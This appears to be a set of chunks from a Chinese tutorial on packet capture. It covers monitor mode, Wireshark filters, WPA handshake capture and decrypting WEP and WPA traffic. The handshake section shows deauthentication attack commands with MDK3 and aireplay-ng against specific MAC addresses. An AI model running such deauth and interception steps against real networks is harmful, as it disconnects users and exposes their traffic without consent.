（3）从图4.62中可以看到，正在捕获数据包。此时，在Android设备上运行想要分析的程序，即可捕获对应程序的数据包。"},
    {"text": "未知 1.2.1 网络连接方式 在手机上，通常使用的网络连接方式就是运营商的数据连接和Wi-Fi连接。下面分别介绍这两种网络连接方式的概念及启用方法。 1.数据连接 数据连接也就是人们常说的移动数据流量上网，是指通过GPRS、EDGE、TD-SCDMA、HSDPA、LTE等移动通信技术上网，在此过程中将产生数据流量。目前，数据流量主要由三大电信运营商提供，分别是中国移动、中国联通和中国电信。 【实例1-1】 在OPPO设备上，设置使用数据连接方式上网。具体操作步骤如下： （1）启动“设置”程序，将打开“设置”界面，如图1.1所示。 （2）单击“双卡与移动网络”选项，将显示“双卡与移动网络”界面，如图1.2所示。 图1.1 “设置”界面 图1.2 “双卡与移动网络”界面 （3）单击“移动数据”右侧的滑动按钮 ，即可启用移动数据功能，此时表示已成功启动移动数据连接方式，如图1.3所示。 【实例1-2】 在苹果手机iPhone 6上，设置使用数据连接方式上网。具体操作步骤如下： （1）在苹果手机上打开“设置”程序，将显示“设置”界面，如图1.4所示。 （2）单击“蜂窝移动网络”选项，将显示“蜂窝移动网络”界面，如图1.5所示。 图1.3 移动数据连接方式 图1.4 “设置”界面 （3）单击“蜂窝移动数据”右侧的滑动按钮 ，即可启用数据连接方式，如图1.6所示。此时则表示成功连接到移动网络，即使用数据流量来上网。 图1.5 “蜂窝移动网络”界面 图1.6 成功连接到移动网络 2.Wi-Fi连接 Wi-Fi连接也就是无线局域网连接，在中文里又称作“行动热点”，它是一种基于IEEE 802.11标准的无线局域网技术。用户只需要一个无线路由器，手机即可使用Wi-Fi网络上网，而且不用担心大量通信费的产生。 【实例1-3】 在OPPO设备上启用Wi-Fi连接方式。操作步骤如下： （1）启动“设置”程序，将打开“设置”界面，如图1.7所示。 （2）从“设置”界面中可以看到WLAN为关闭状态。单击WLAN选项，将显示WLAN界面，如图1.8所示。 （3）单击滑动按钮 ，将启用WLAN功能，如图1.9所示。 （4）此时，WLAN功能已成功启动，并且扫描出附近的所有Wi-Fi网络。选择要连接的Wi-Fi网络，将显示“输入密码”界面。例如，选择连接名为CU_655w的Wi-Fi网络，将显示如图1.10所示的界面。 图1.7 “设置”界面 图1.8 WLAN界面 图1.9 扫描到的Wi-Fi网络 （5）在“输入密码”界面输入Wi-Fi网络的密码，并单击“连接”按钮，即可成功连接到Wi-Fi网络，如图1.11所示。 图1.10 输入密码 图1.11 成功连接到Wi-Fi网络 【实例1-4】 在苹果手机iPhone 6上，设置使用Wi-Fi连接方式上网。具体操作步骤如下： （1）启动“设置”程序，将显示“设置”界面，如图1.12所示。 （2）单击“无线局域网”选项，将显示“无线局域网”界面，如图1.13所示。 图1.12 “设置”界面 图1.13 “无线局域网”界面 （3）单击滑动按钮 ，启用无线局域网，此时将开始扫描周围所有的Wi-Fi网络，如图1.14所示。 （4）单击将要加入的Wi-Fi网络，将弹出“输入密码”界面，如图1.15所示。 图1.14 扫描到的无线网络 图1.15 输入密码 （5）输入连接的Wi-Fi网络密码，并单击“加入”按钮，即可成功连接到Wi-Fi网络，如图1.16所示。 图1.16 连接成功 未知 4.4 Wi-Fi网络监听抓包 在Wi-Fi网络中，所有的数据都是以广播的方式传播的，所以只需要将无线网卡设置为监听模式，便可以嗅探到周边所有的无线数据包。本节介绍Wi-Fi网络嗅探抓包的方法。"},
    {"text": "如果要捕获Wi-Fi网络数据包，则必须将无线网卡设置为监听模式。 如果所使用的无线网卡不支持监听模式，则无法监听数据。 为了方便用户对无线网卡的选择，下面列举了一些支持监听模式的无线网卡，如表4.1所示。 表4.1 支持监听模式的无线网卡 2.使用Airmon-ng设置监听 Airmon-ng是Aircrack-ng套件中的工具之一，使用该工具可以启动或停止监听。"},
    {"text": "执行命令如下： root@daxueba:~# lsusb Bus 001 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 002 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub Bus 002 Device 002: ID 0e0f:0003 VMware, Inc. Virtual Mouse Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub 以上输出信息，显示了当前系统中的所有USB设备。"},
    {"text": "执行命令如下： root@daxueba:~# ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet6 fe80::20c:29ff:fe31:3623 prefixlen 64 scopeid 0x20<link> ether 00:0c:29:31:36:23 txqueuelen 1000 (Ethernet) RX packets 2999 bytes 195831 (191.2 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 75 bytes 6593 (6.4 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 72699 bytes 27084761 (25.8 MiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 72699 bytes 27084761 (25.8 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 wlan0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 ether de:17:fb:09:11:d4 txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 从输出的信息中可以看到，显示了三个网络接口信息，分别是eth0（有线网络接口）、lo（本地回环接口）和wlan0（无线网络接口）。"},
    {"text": "（3）使用iwconfig命令查看无线网卡工作模式。 执行命令如下： root@daxueba:~# iwconfig wlan0 wlan0 IEEE 802.11 ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry short long limit:2 RTS thr:off Fragment thr:off Encryption key:off Power Management:off 从输出的信息中可以看到，当前无线网卡工作的模式为Managed，即管理模式。"},
    {"text": "执行命令如下： root@daxueba:~# airmon-ng start wlan0 Found 4 processes that could cause trouble. Kill them using 'airmon-ng check kill' before putting the card in monitor mode, they will interfere by changing channels and sometimes putting the interface back in managed mode PID Name 413 NetworkManager 497 dhclient 884 wpa_supplicant 6720 dhclient PHY Interface Driver Chipset phy7 wlan0 rt2800usb Ralink Technology, Corp. RT5370 (mac80211 monitor mode vif enabled for [phy7]wlan0 on [phy7] wlan0mon) (mac80211 station mode vif disabled for [phy7]wlan0) 看到以上输出信息，即表示成功启动了监听模式，监听的接口为wlan0mon。 当想要停止监听时，则执行如下命令： root@daxueba:~# airmon-ng stop wlan0mon PHY Interface Driver Chipset phy4 wlan0mon rt2800usb Ralink Technology, Corp. RT5370 (mac80211 station mode vif enabled on [phy4]wlan0) (mac80211 monitor mode vif disabled for [phy4]wlan0mon) 看到以上输出信息，即表示成功停止了监听模式。"},
    {"text": "LWE是Linux下对无线网络配置的工具，包括内核的支持、用户层配置工具和驱动接口的支持三部分。 目前，很多无线网卡都支持LWE，而且主流的Linux发行版都已经自带了该配置工具。"},
    {"text": "大部分无线网卡，都支持使用Airmon-ng工具来启用监听模式。 但对于一些支持5GHz的无线网卡（如芯片为RTL8812AU），则不支持使用Airmon-ng工具来启用监听模式。 此时，必须使用iwconfig工具来启用监听模式，其语法格式如下： iwconfig <interface> mode monitor 其中，interface表示无线网络接口名称；"},
    {"text": "【实例4-8】 使用iwconfig设置无线网卡为监听模式。 具体操作步骤如下： （1）查看无线网络接口的工作模式。 执行命令如下： root@daxueba:~# iwconfig lo no wireless extensions. wlan0 IEEE 802.11 ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=18 dBm Retry short limit:7 RTS thr:off Fragment thr:off Encryption key:off Power Management:off eth0 no wireless extensions. 从输出的信息中可以看到，该无线网络接口名称为wlan0，并且工作在Managed模式。"},
    {"text": "提示： 使用iwconfig命令设置无线网卡工作模式时，必须先停止无线网络接口。 否则，将会提示设备或资源繁忙，具体如下： Error for wireless request \"Set Mode\" (8B06) : SET failed on device wlan0 ; Device or resource busy. （3）设置无线网卡为监听模式。 执行命令如下： root@daxueba:~# iwconfig wlan0 mode monitor 执行以上命令后，将不会输出任何信息。"},
    {"text": "执行命令如下： root@daxueba:~# iwconfig wlan0 wlan0 IEEE 802.11 Mode:Monitor Frequency:5.745 GHz Tx-Power=20 dBm Retry short long limit:2 RTS thr:off Fragment thr:off Power Management:off 从输出的信息中可以看到，当前工作模式为Monitor，即监听模式，而且该无线网卡接口的监听模式接口名仍然是wlan0。"},
    {"text": "执行命令如下： root@daxueba:~# ip link set wlan0 down （2）设置无线网卡为管理模式。 执行命令如下： root@daxueba:~# iwconfig wlan0 mode managed （3）启动无线网络接口。 执行命令如下： root@daxueba:~# ip link set wlan0 up （4）查看无线网卡的工作模式。 执行命令如下： root@daxueba:~# iwconfig wlan0 wlan0 IEEE 802.11 ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry short long limit:2 RTS thr:off Fragment thr:off Encryption key:off Power Management:off 从输出的信息中可以看到，当前无线网络的工作模式为Managed。"},
    {"text": "为了避免数据包丢失，可以手动设置监听信道，而且还可以设置同时监听多个信道。 下面介绍设置监听信道的方法。 1.确认信道 如果要设置监听信道，则必须知道AP工作的信道。 可以通过在路由器管理界面，或者通过扫描Wi-Fi网络数据包的方式，来确认AP工作的信道。"},
    {"text": "具体操作步骤如下： （1）登录路由器的管理界面。 该路由器的登录地址为 http://192.168.0.1/ ，在浏览器中访问该地址后，将弹出“登录”对话框，如图4.63所示。 图4.63 “登录”对话框 （2）输入登录的用户名和密码，然后单击“登录”按钮，将显示路由器的主界面，如图4.64所示。 图4.64 路由器主界面 （3）在左侧栏中依次选择“无线设置”|“基本设置”选项，将显示无线网络基本设置界面，如图4.65所示。 图4.65 无线网络基本设置界面 （4）从该界面中可以看到当前路由器的基本信息，如SSID号、信道、模式、频段带宽等。"},
    {"text": "使用Airodump-ng工具扫描Wi-Fi网络的语法格式如下： airodump-ng <interface> 其中，参数interface用来指定无线网卡监听接口。 【实例4-10】 使用Airodump-ng工具扫描附近的Wi-Fi网络，以获取AP工作的信道。"},
    {"text": "执行命令如下： root@daxueba:~# airodump-ng wlan0mon CH 3 ][ Elapsed: 6 s ][ 2019-09-24 10:15 BSSID PWR Beacons #Data #/s CH MB ENC CIPHER AUTH ESSID AC:A4:6E: -63 3 0 0 6 130 WPA2 CCMP PSK CMCC-JmKm 9F:01:0C 14:E6:E4: -24 3 0 0 1 54e. WEP WEP Test 84:23:7A 70:85:40: -33 5 0 0 4 130 WPA2 CCMP PSK CU_655w 53:E0:3B 80:89:17: -75 2 0 0 11 405 WPA2 CCMP PSK TP-LINK_ 66:A1:B8 A1B8 BSSID STATION PWR Rate Lost Frames Probe 70:85:40:53:E0:3B 1C:77:F6:60:F2:CC -60 0 – 6 0 2 以上输出信息，显示了扫描到的所有Wi-Fi网络。"},
    {"text": "如果值为WEP?，表示使用WEP或者WPA/WPA2方法； 如果值为WEP（没有问号），表示使用静态或动态WEP方式； 如果值为TKIP或CCMP，表示使用WPA/WPA2。"},
    {"text": "常用的有MGT（WPA/WPA2使用独立的认证服务器，如802.1x，Radius、EAP等）、SKA（WEP的共享密钥）、PSK（WPA/WPA2的预共享密钥）或者OPN（WEP开放式）。"},
    {"text": "它意味着从客户端来的数据丢包，每个非管理帧中都有一个序列号字段，把刚接收到的那个帧中的序列号和前一个帧中的序列号一减就能知道丢了几个包。"},
    {"text": "记住将要捕获的AP数据包工作信道，然后设置监听该信道。 2.使用Airmon-ng设置监听信道 当确定AP工作的信道后，便可以设置监听信道。 使用Airmon-ng工具设置监听信道的语法格式如下： airmon-ng start <interface> <channel> 其中，参数interface用来指定无线网络接口； channel用来指定监听的信道。 【实例4-11】 设置监听信道为1。 执行命令如下： root@daxueba:~# airmon-ng start wlan0 1 Found 4 processes that could cause trouble. Kill them using 'airmon-ng check kill' before putting the card in monitor mode, they will interfere by changing channels and sometimes putting the interface back in managed mode PID Name 413 NetworkManager 497 dhclient 884 wpa_supplicant 6720 dhclient PHY Interface Driver Chipset phy7 wlan0 rt2800usb Ralink Technology, Corp. RT5370 (mac80211 monitor mode vif enabled for [phy7]wlan0 on [phy7] wlan0mon) (mac80211 station mode vif disabled for [phy7]wlan0) 看到以上输出信息，即表示成功启动了监听模式，并且监听的信道为1。"},
    {"text": "3.使用iwconfig设置监听信道 使用Airmon-ng工具设置监听信道时，只能监听一个信道。 如果想要同时监听多个信道，可以使用iwconfig工具实现。 使用iwconfig工具设置监听信道的语法格式如下： iwconfig [interface] channel N 其中，interface指定启用监听模式的接口；"},
    {"text": "未知 4.4.3 捕获数据包 当成功将无线网卡设置为监听模式后，就可以监听所有Wi-Fi网络数据包了。下面介绍使用Wireshark捕获Wi-Fi网络数据包的方法。 【实例4-14】 使用Wireshark捕获数据包。具体操作步骤如下： （1）在“开始”菜单中依次选择“应用程序”|“嗅探/欺骗”|Wireshark命令，将显示Wireshark启动界面，如图4.66所示。 图4.66 Wireshark启动界面 （2）在捕获接口列表中选择监听接口wlan0mon，并单击“开始捕获”按钮 ，将开始捕获Wi-Fi网络数据包，如图4.67所示。或者直接双击网络接口wlan0mon，也将开始捕获数据包。 图4.67 正在捕获Wi-Fi网络数据包 （3）看到图4.67中显示的数据包，则表示成功捕获Wi-Fi网络数据包。当捕获一定数据包后，单击“停止捕获”按钮 ，将停止捕获数据包。为了方便之后对数据包进行分析，可以将捕获的包保存到一个捕获文件中。在菜单栏中依次选择“文件”|“保存”命令，将弹出“Wireshark.保存捕获文件为”对话框，如图4.68所示。 图4.68 “Wireshark.保存捕获文件为”对话框 （4）指定捕获文件的位置、文件名和文件格式。这里将指定保存的位置为/root、文件名为wifi，使用默认的文件格式pcapng，然后单击“保存”按钮，即可成功保存捕获的数据包。"},
    {"text": "未知 4.4.4 过滤设备 默认情况下，Wireshark将捕获所有设备的数据包，而且当设置监听后，将捕获所有Wi-Fi设备的数据包。如果用户所在网络存在很多Wi-Fi设备的话，将可能捕获大量冗余数据包。这样在分析数据包时，就不太容易了，而且还会受到一些无关数据包的影响。此时，可以通过使用捕获过滤器，指定捕获特定设备的Wi-Fi数据包。捕获过滤器的语法格式如下： Protocol Direction Host(s) Value Logical Operations Other expression 其中各选项含义如下。 ·Protocol（协议）：该选项用来指定协议。可使用的值有ether、fddi、wlan、ip、arp、rarp、decnet、lat、sca、moproc、mopdl、tcp和udp。如果没有特别指明是什么协议，则默认使用所有支持的协议。 ·Direction（方向）：该选项用来指定来源或目的地，默认使用src or dst作为关键字。可使用的值有src、dst、src and dst和src or dst。 ·Host(s)：指定主机地址。如果没有指定，默认使用host关键字。可使用的值有net、port、host和portrange。 ·Logical Operations（逻辑运算）：该选项用来指定逻辑运算符。可使用的值有not、and和or。其中，not（否）具有最高的优先级；or（或）和and（与）具有相同的优先级，运算时从左至右进行。 为了方便用户对无线数据包进行过滤，下面列举了常见的无线数据包捕获过滤器。 ·wlan ra ehost：捕获指定IEEE 802.11 RA（接收地址）的无线数据包。除了管理帧（frame），RA存在于其他所有帧中。 ·wlan ta ehost：捕获指定IEEE 802.11 TA（发送地址）的无线数据包。除了管理帧（frame）、CTS（Clear To Send）和ACK（Acknowledgment）控制帧外，TA存在于其他所有帧中。 ·wlan addr1 ehost：捕获IEEE 802.11第一地址的无线数据包。 ·wlan addr2 ehost：捕获IEEE 802.11第二地址的无线数据包。除了CTS和ACK控制帧外，第二地址区（The second address field）存在于其他所有帧中。 ·wlan addr3 ehost：捕获IEEE 802.11第三地址的无线数据包。除控制帧外，第三地址区存在于管理帧和数据帧中。 ·wlan addr4 ehost：捕获IEEE 802.11第四地址的无线数据包。第四地址区仅存在WDS（Wireless Distribution System）帧中。 ·type wlan_type：捕获指定类型的无线数据包。可使用的帧类型值为mgt、ctl和data。 ·type wlan_type subtype wlan_subtype：指定帧类型和子类型的捕获过滤器。可指定的帧类型包括mgt（管理帧）、ctl（控制帧）和data（数据帧）。当指定帧类型为mgt时，则指定的子类型有效值为assoc-req、assoc-resp、reassoc-req、ressoc-resp、probe-req、probe-resq、beacon、atim、disassoc、auth和deauth；当指定帧类型为ctl时，则指定的子类型有效值为ps-poll、rts、cts、ack、cf-end和cf-end-ack；当指定帧类型为data时，则指定的有效子类型为data、data-cf-ack、data-cf-poll、data-cf-ack-poll、null、cf-ack、cf-poll、cf-ack-poll、qos-data、qos-data-cf-ack、qos-data-cf-poll、qos-data-cf-ack-poll、qos、qos-cf-poll和qos-cf-ack-poll。 ·subtype wlan_subtype：捕获指定子类型的无线数据包。 ·dir dir：捕获指定方向的IEEE 802.11帧。在IEEE 802.11帧中，Data Frame具有方向，使用DS（分布式系统）字段来标识，以区分不同类型帧中关于地址的解析方式。其中，DS字段用两位表示，这两个位的含义分别表示“To Ds”和“From DS”。该捕获过滤器可使用的有效方向值为nods、tods、fromds、dstods或一个数字。其中，nods值对应的数字为00；tods值对应的数字为01；fromds值对应的数字为10；dstods值对应的数字为11。 【实例4-15】 捕获MAC地址为1C:77:F6:60:F2:CC的设备的Wi-Fi数据包。其中，指定的捕获过滤器为ether host 1C:77:F6:60:F2:CC。具体操作步骤如下： （1）启动Wireshark，并在菜单栏依次选择“捕获”|“选项”命令，打开“Wireshark.捕获接口”对话框，如图4.69所示。 图4.69 “Wireshark.捕获接口”对话框 （2）选择监听接口wlan0mon，然后在“所选择接口的捕获过滤器”文本框中输入捕获过滤器ether host 1C:77:F6:60:F2:CC，单击“开始”按钮，即可捕获指定设备的Wi-Fi数据包，如图4.70所示。 图4.70 正在捕获数据包 （3）从图4.70的标题栏中可以看到使用的捕获过滤器。而且，从捕获列表中可以看到，所有数据包都是源或目标为1C:77:F6:60:F2:CC地址的数据包。当不需要继续捕获数据包时，单击“停止捕获”按钮 ，即可停止捕获。"},
    {"text": "未知 4.4.5 捕获握手包 握手包是指采用WPA加密方式的无线AP与无线客户端进行连接前的认证信息包，其包含后期数据传输的密钥。由于无线数据包都是加密的，而且传输密钥又包含在握手包中，所以只有捕获握手包，才可以成功解密数据包。握手包只有在客户端和AP建立连接时才会出现，所以在抓包的同时，可以通过实施死亡（Deauth）攻击，让已经连接AP的客户端断线，然后在客户端再次连接AP时，就可以抓到握手包了。如果配置有特定的环境，只是为了练习测试，可以手动断开连接，并重新连接到目标Wi-Fi，以捕获其握手包。如果用户尝试一次，无法抓取到握手包，则需要多进行几次，直到抓取到握手包。下面将介绍使用MDK3和Aireplay-ng工具捕获握手包的方法。 1.使用MDK3工具 MDK3是一款无线DOS攻击测试工具，能够发起Beacon Flood、Authentication DoS、Deauthentication/Disassociation Amok等模式的攻击。用户通过使用MDK3实施解除认证攻击，即可捕获握手包。使用MDK3工具实施解除认证攻击的语法格式如下： mdk3 <interface> d <test_options> 该攻击模式支持的选项含义如下。 ·-w <filename>：指定白名单MAC地址列表。 ·-b <filename>：指定黑名单MAC地址列表。 ·-s <pps>：设置包的速率，默认是无限制的。 ·-c [chan,chan,…]：启用信道跳频。如果不指定信道，将在所有信道（14 b/g）之间进行跳频。每5秒跳频一次。 【实例4-16】 使用MDK3实施解除认证攻击，并指定攻击的信道为1。执行命令如下： root@daxueba:~# mdk3 wlan0mon d -s 120 -c 1 执行以上命令后，将不会输出任何信息。但是，MDK3工具实际上是运行的。当捕获握手包后，按下Ctrl+C组合键停止攻击。 提示： 使用MDK3实施解除认证攻击时，应在运行一段时间后便停止攻击，否则会导致客户端无法连接到AP。 2.使用Aireplay-ng工具 Aireplay-ng是Aircrack-ng组件包的一个工具，它可以注入和重放数据帧，用于后期的WEP、WPA-PSk破解。该工具提供了9种攻击模式，包括死亡包攻击、伪造认证攻击、重放注入攻击、ARP重放攻击、Chopchop攻击、PRGA攻击、Caffe-latte攻击、转发攻击和Cisco Aironet攻击。通过实施这些攻击，即可捕获握手包。这里将使用Aireplay-ng工具实施死亡攻击，以获取握手包。其语法格式如下： aireplay-ng -0 1 -a <ap_mac> -c <client_mac> wlan0mon 以上语法中的选项及含义如下。 ·-0：表示实施死亡攻击。 ·1：表示攻击次数。用户可以根据实际情况，设置更多次。 ·-a：表示AP的MAC地址。 ·-c：表示客户端的MAC地址。 【实例4-17】 使用Aireplay-ng工具实施死亡攻击。执行命令如下： root@daxueba:~# aireplay-ng -0 1 -a 70:85:40:53:E0:3B -c 1C:77:F6:60:F2:CC wlan0mon 15:05:43 Waiting for beacon frame (BSSID: 70:85:40:53:E0:3B) on channel 8 15:05:44 Sending 64 directed DeAuth (code 7). STMAC: [1C:77:F6:60:F2:CC] [ 9|65 ACKs] 看到以上输出信息，则表示攻击成功。 3.确认是否捕获握手包 通过使用MDK3或Aireplay-ng工具，即可捕获握手包。为了确认是否成功捕获握手包，可以使用显示过滤器进行过滤。其中，过滤WEP握手包的显示过滤器语法格式如下： wlan.fc.type_subtype eq 0x0B 在Wireshark的显示过滤器文本框中输入以上过滤器后，将显示如图4.71所示的界面。 图4.71 WEP握手包 从输出的信息中可以看到捕获的认证包。其中，231～234帧为WEP加密认证的一个完整握手包。 如果用户想要查看WPA/WPA2的握手包，可以使用eapol显示过滤器进行过滤，其语法格式如下： eapol 在显示过滤器文本框中输入显示过滤器eapol，即可成功过滤出捕获的握手包，如图4.72所示。 图4.72 握手包 从图4.72中可以看到，成功捕获4个完整的握手包。如果丢失某个握手包，则无法解密数据包。 未知 4.5 解密数据包 由于AP使用了加密方式，所以监听到的数据包也都是加密的。如果想要分析其数据包，则必须对其进行解密。其中，AP常见的加密方式有WEP和WPA/WPA2。本节分别介绍解密WEP和WPA/WPA2加密的数据包的方法。"},
    {"text": "未知 4.5.1 解密WEP加密包 WEP加密是最早在无线加密中使用的技术。目前，已经有很多AP都不支持该加密方式，但是仍然有一些老式的设备及用户使用该加密方式。如果用户捕获的目标AP使用WEP加密的话，则必须使用解密WEP的方式来解密数据包。当用户在解密数据包时，必须知道该AP的密码。下面介绍解密WEP加密数据包的方法。 【实例4-18】 解密WEP加密数据包。其中，解密WEP加密包添加的密码，是十六进制格式的密码。例如，本例中AP的ASCII码格式密码为abcde，则对应的十六进制格式的密码为61:62:63:64:65。具体操作步骤如下： （1）为了快速找到加密的数据包，可以使用显示过滤器wlan.fc.type_subtype==0x28进行过滤。在显示过滤器文本框中输入该显示过滤器后，即可过滤出使用WEP方式加密的数据包，结果如图4.73所示。 图4.73 加密数据包 （2）从图4.73中可以看到，所有的数据包协议都为802.11。由此可以说明，都是被加密的无线数据包。此时，在Wireshark主窗口的菜单栏中依次选择“编辑”|“首选项”命令，打开“Wireshark.首选项”对话框，如图4.74所示。 图4.74 “Wireshark.首选项”对话框 （3）在左侧栏中选择Protocols选项，单击小三角按钮 展开协议列表，并选择IEEE 802.11协议，如图4.75所示。 （4）单击Decryption keys右侧的Edit按钮，将显示如图4.76所示的对话框。 （5）从图4.76中可以看到，默认没有任何的密钥。此时，单击加号按钮 添加密钥，可以看到，添加的加密类型为wep，密码为61:62:63:64:65，结果如图4.77所示。 （6）注意，密码之间的冒号也可以省略。此时，单击OK按钮，即可成功解密其加密的数据包，如图4.78所示。 图4.75 IEEE 802.11协议配置项 图4.76 密钥设置对话框 图4.77 添加密钥 图4.78 解密后的数据包 （7）从图4.78中可以看到，所有的数据包已成功解密。此时，便可以对客户端传输的数据做进一步分析了。 未知 4.5.2 解密WPA/WPA2加密包 如果目标AP使用WPA/WPA2加密方式的话，则必须使用解密WPA/WPA2的方式来解密数据包。下面介绍解密WPA/WPA2加密数据包的方法。 【实例4-19】 在Wireshark中解密使用WPA/WPA2方式加密的数据包。其中，目标AP的名称为Test，密码为daxueba!。具体操作步骤如下： （1）使用显示过滤器wlan.fc.type_subtype==0x28过滤WPA/WPA2加密的数据包，如图4.79所示。 图4.79 过滤出的加密数据包 （2）从图4.79中可以看到，成功显示了所有加密的数据包。其中，前4个包是握手包，协议格式为EAPOL，其他数据包的格式都为802.11。注意，如果是WPA/WPA2加密方式，则必须捕获握手包才可以解密。此时，在Wireshark的菜单栏中依次选择“编辑”|“首选项”命令，打开“Wireshark.首选项”对话框，然后依次选择Protocols|IEEE 802.11协议，如图4.80所示。 （3）单击Decryption keys右侧的Edit按钮，将显示如图4.81所示的对话框。 （4）单击加号 按钮添加WPA/WPA2密钥。添加WPA/WPA2加密类型的方式有两种，分别是wpa-pwd和wpa-psk。其中，wpa-pwd密钥类型的密钥格式为“密码:BSSID”；wpa-psk密钥类型的密钥格式为“wpa-psk:raw pre-shared key”。这里为了添加方便，将使用wpa-pwd密钥类型，添加的密钥结果如图4.82所示。 （5）此时，单击OK按钮，便可以成功解密数据包，如图4.83所示。 图4.80 IEEE 802.11协议配置项 图4.81 设置密钥对话框 图4.82 添加密钥 图4.83 解密成功 从图4.83中可以看到，802.11协议加密的数据包已成功解密。从显示的包中可以看到，解密后的包协议有DHCP、ARP、TCP、DNS等。此时，便可以对客户端传输的数据做进一步分析了。 在解密WPA/WPA2加密数据包时，也可以使用wpa-psk密钥类型，这种方式需要用户先手动生成一个PSK值。用户可以到 https://www.wireshark.org/tools/wpa-psk.html 网站生成对应的PSK。当成功访问以上网站后，将显示如图4.84所示的页面。 图4.84 生成PSK 在Passphrase文本框中输入密码短语，在SSID文本框中输入AP的名称，然后单击Generate PSK按钮，计算结果如图4.85所示。 图4.85 生成的PSK值 从该页面可以看到计算出的PSK值，然后在Wireshark中添加进去，结果如图4.86所示。 此时，依次单击OK按钮，即可成功解密加密的数据包。 图4.86 添加的密钥"},
    {"text": "未知 4.5.3 永久解密 通过在Wireshark中设置密钥的方式解密数据包时，每次打开捕获文件，都需要进行解密。如果用户在其他主机分析该捕获文件，则又需要重新设置解密，这样显然比较麻烦。此时，用户可以使用Airdecap-ng工具实现永久解密。Airdecap-ng是Aircrack-ng工具集中的工具之一，可以用来去除加密信息，使加密数据包变成普通非加密数据包。下面分别介绍永久解密WEP和WPA/WPA2加密数据包的方法。 1.将捕获文件另存为.pcap格式 Airdecap-ng工具在解密数据包时，仅支持.pcap格式的捕获文件。默认情况下，Wireshark捕获的数据包文件格式为.pcapng。用户可以通过Wireshark将捕获文件另存为.pcap格式，以便Airdecap-ng工具使用。 【实例4-20】 将捕获文件wifi.pcapng另存为wifi.pcap。具体操作步骤如下： （1）打开捕获文件wifi.pcapng，将显示如图4.87所示的界面。 图4.87 捕获文件 （2）在菜单栏依次选择“文件”|“另存为”命令，将显示“Wireshark.保存捕获文件为”对话框，如图4.88所示。 图4.88 “Wireshark.保存捕获文件为”对话框 （3）指定保存位置和文件名后，单击“另存为”下拉列表，选择Wireshark/tcpdump/…-pcap格式，然后单击“保存”按钮，即可成功将捕获文件另存为.pcap格式。 2.永久解密WEP数据包 使用Airdecap-ng工具永久解密WEP加密数据包的语法格式如下： airdecap-ng -w [password] [pcap file] 其中，选项-w[password]用于指定AP的密码，形式为ASCII值的十六进制值。 【实例4-21】 使用Airdecap-ng工具永久解密WEP加密数据包。执行命令如下： root@daxueba:~# airdecap-ng -w \"61:62:63:64:65\" test.pcap Total number of stations seen 5 #所见客户端总数 Total number of packets read 4466 #读取的总包数 Total number of WEP data packets 3299 #WEP数据包数 Total number of WPA data packets 0 #WPA数据包数 Number of plaintext data packets 0 #纯文本数据包数 Number of decrypted WEP packets 3299 #解密的WEP包数 Number of corrupted WEP packets 0 #破坏的WEP包数 Number of decrypted WPA packets 0 #解密的WPA包数 Number of bad TKIP (WPA) packets 0 #坏的TKIP包数 Number of bad CCMP (WPA) packets 0 #坏的CCMP包数 从输出的信息中可以看到，成功解密了3299个WEP加密数据包。其中，解密后的包默认输出到test-dec.pcap捕获文件中。接下来，就可以在任何计算机上使用Wireshark来分析数据包了，无须再配置路由器信息了。此时，使用Wireshark工具查看解密后的捕获文件test-dec.pcap，结果如图4.89所示。 图4.89 解密后的数据包 从图4.89的状态栏中可以看到，该数据包文件中保存了3299个数据包，而且都已成功解密。 3.永久解密WPA/WPA2数据包 使用Airdecap-ng工具永久解密WPA加密数据包的语法格式如下： airdecap-ng -e [ESSID] -p [password] [pcap file] 以上语法中的选项及含义如下。 ·-e：指定目标AP的ESSID。 ·-p：指定AP的密码。 【实例4-22】 使用Airdecap-ng工具解密捕获文件wifi.pcap中的加密数据包。执行命令如下： root@daxueba:~# airdecap-ng -e Test -p daxueba! wifi.pcap Total number of stations seen 8 #所见客户端总数 Total number of packets read 4105 #读取的总包数 Total number of WEP data packets 0 #WEP数据包数 Total number of WPA data packets 2795 #WPA数据包数 Number of plaintext data packets 0 #纯文本数据包数 Number of decrypted WEP packets 0 #解密的WEP包数 Number of corrupted WEP packets 0 #破坏的WEP包数 Number of decrypted WPA packets 2683 #解密的WPA包 Number of bad TKIP (WPA) packets 0 #坏的TKIP包数 Number of bad CCMP (WPA) packets 0 #坏的CCMP包数 从以上输出信息中可以看到，成功解密了2683个加密的WPA数据包。其中，解密后的包默认输出到wifi-dec.pcap捕获文件中。此时，使用Wireshark查看wifi-dec.pcap捕获文件，即可分析所有的数据包，如图4.90所示。 图4.90 解密后的数据包 从该窗口的底部状态栏中，可以看到该捕获文件中共有2683个数据包，都已被解密。 未知 1.2.2 协议基础 协议（Protocol）是网络协议的简称。为了使数据在网络上从源到达目的地，网络通信的参与方必须遵循相同的规则，这套规则便称为协议。在抓包和分析中，它最终体现为在网络上传输的数据包的格式。协议往往分成几个层次进行定义，分层定义是为了使某一层协议的改变不影响其他层的协议。简单地说，网络中的计算机要能够互相顺利地通信，就必须“讲”同样的语言。协议就相当于语言，它分为Ethernet、NetBEUI、IPX/SPX及TCP/IP。其中，TCP/IP是目前最流行的网络协议，也是最基本的通信协议。 传输控制协议/网际协议（Transmission Control Protocol/Internet 